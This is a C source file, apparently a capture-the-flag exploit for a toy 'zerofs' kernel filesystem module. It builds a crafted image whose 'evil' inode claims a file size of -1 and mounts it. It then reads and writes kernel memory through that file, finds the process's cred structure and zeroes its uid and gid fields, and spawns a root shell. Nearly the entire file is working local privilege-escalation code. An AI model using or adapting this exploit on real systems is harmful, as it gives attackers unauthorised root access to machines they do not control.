1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stdint.h> #include <string.h> #include <sys/wait.h> #define ZEROFS_DEFAULT_BLOCK_SIZE 0x1000 #define ZEROFS_ROOTDIR_INODE_NUMBER 1 #define ZEROFS_ROOTDIR_DATABLOCK_NUMBER 2 #define ZEROFS_EVIL_INODE_NUMBER 2 #define ZEROFS_EVIL_DATABLOCK_NUMBER 3 struct zerofs_super_block { uint64_t magic; uint64_t block_size; uint64_t inodes_count; char padding[ZEROFS_DEFAULT_BLOCK_SIZE-8*3]; }; struct zerofs_inode { uint64_t inode_no; uint64_t data_block_number; mode_t mode; union { uint64_t file_size; uint64_t dir_children_count; }; }; struct zerofs_dir_record { char filename[256]; uint64_t inode_no; }; static int write_superblock(int fd) { struct zerofs_super_block sb = { .magic = 0x4F52455ALL, .block_size = 0x1000, .inodes_count = 3 }; int ret = write(fd,&sb, sizeof(sb)); if (ret != ZEROFS_DEFAULT_BLOCK_SIZE) { printf("bytes written [%d] are not equal to the default block size\n",(int)ret); return -1; } else { printf("Super block written succesfully\n"); } return 0; } static int write_root_inode(int fd) { struct zerofs_inode root_inode; root_inode.inode_no = ZEROFS_ROOTDIR_INODE_NUMBER; root_inode.data_block_number = ZEROFS_ROOTDIR_DATABLOCK_NUMBER; root_inode.mode = S_IFDIR; root_inode.dir_children_count = 1; int ret = write(fd, &root_inode, sizeof(root_inode)); if (ret != sizeof(root_inode)) { printf("The inode store was not written properly. Retry\n"); return -1; } printf("root directory inode written succesfully\n"); return 0; } static int write_evil_inode(int fd) { struct zerofs_inode evil_inode; evil_inode.inode_no = ZEROFS_EVIL_INODE_NUMBER; evil_inode.data_block_number = ZEROFS_EVIL_DATABLOCK_NUMBER; evil_inode.mode = S_IFREG; evil_inode.file_size = -1; int len = sizeof(evil_inode); int ret = write(fd,&evil_inode,len); if (ret != len) { printf("The evil inode was not written properly. Retry\n"); return -1; } printf("evil inode written succesfully\n"); return 0; } int write_evil_dirent(int fd) { struct zerofs_dir_record evil_record; strcpy(evil_record.filename,"haivk"); evil_record.inode_no = ZEROFS_EVIL_INODE_NUMBER; int len = sizeof(struct zerofs_dir_record); int ret = write(fd,&evil_record,len); if (ret != len) { printf("The evil inode\'s dirent was not written properly. Retry\n"); return -1; } printf("evil inode\'s dirent written succesfully\n"); return 0; } int writePadding(int fd,int len) { char *padding = (char *)calloc(1,len); int ret = write(fd,padding,len); free(padding); if (ret != len) { printf("The padding was not written properly. Retry\n"); return -1; } return 0; } int createEvilFs() { int fd = open("/tmp/zerofs.img",O_RDWR | O_CREAT); if (write_superblock(fd)) { return -1; } if (write_root_inode(fd)) { return -1; } if (write_evil_inode(fd)) { return -1; } if (writePadding(fd,ZEROFS_DEFAULT_BLOCK_SIZE-sizeof(struct zerofs_inode)*2)) { return -1; } if (write_evil_dirent(fd)) { return -1; } if (writePadding(fd,ZEROFS_DEFAULT_BLOCK_SIZE-sizeof(struct zerofs_dir_record))) { return -1; } char hello[0x100] = "hello,I am hacker haivk!\n"; write(fd,hello,sizeof(hello)); if (writePadding(fd,ZEROFS_DEFAULT_BLOCK_SIZE-sizeof(hello))) { return -1; } close(fd); return 0; }
int rooted = 0; void myExit(int pfd,int fd,int code) { sleep(2); char buf[0x10] = {0}; read(pfd,buf,0x10); if (!strcmp(buf,"success")) { rooted = 1; wait(NULL); } close(fd); system("./umount"); exit(code); } int main() { if (access("/tmp/zerofs.img",F_OK)) { createEvilFs(); } system("./mount"); int fd = open("/mnt/haivk",O_RDWR); if (fd == -1) { printf("文件打开失败!!\n"); exit(-1); } int pfd[2]; if (pipe(pfd) == -1) { puts("[*] pipe error!"); exit(0); } fcntl(pfd[0], F_SETFL, O_NONBLOCK); fcntl(pfd[1], F_SETFL, O_NONBLOCK); int pid = fork(); if (pid < 0) { puts("[*] fork error!"); exit(0); } else if (pid == 0) { while (getuid() != 0) { sleep(1); } write(pfd[1],"success",0x10); printf("[+]rooted in subprocess!!\n"); system("/bin/sh"); } else { int uid = getuid(); size_t buf_len = 0x100000; unsigned int *buf = (unsigned int *)malloc(buf_len); int ret; for (int i=0;i<0x100 && !rooted;i++) { ret = lseek(fd,i * buf_len, SEEK_SET); if (ret < 0) { printf("seek memory error!!\n"); myExit(pfd[0],fd,-1); } ret = read(fd,buf,buf_len); if (ret < 0) { printf("read memory error!!\n"); myExit(pfd[0],fd,-1); } int found = 0; for (int j=0;j<ret/4 - 39 && !rooted;j++) { if (buf[j] == uid && buf[j+6] == uid && buf[j+12] == uid && buf[j+24] == uid) { printf("found cred struct!!\n"); buf[j] = 0; buf[j+6] = 0; buf[j+12] = 0; buf[j+24] = 0; buf[j+25] = 0; buf[j+39] = 0; found = 1; } } if (found) { if (lseek(fd,i * buf_len, SEEK_SET) < 0) { printf("seek2 memory error!!\n"); myExit(pfd[0],fd,-1); } write(fd,buf,ret); if (getuid() == 0) { printf("[+]rooted in parent process!!\n"); system("/bin/sh"); rooted = 1; } } } } myExit(pid,fd,0); return 0; }
|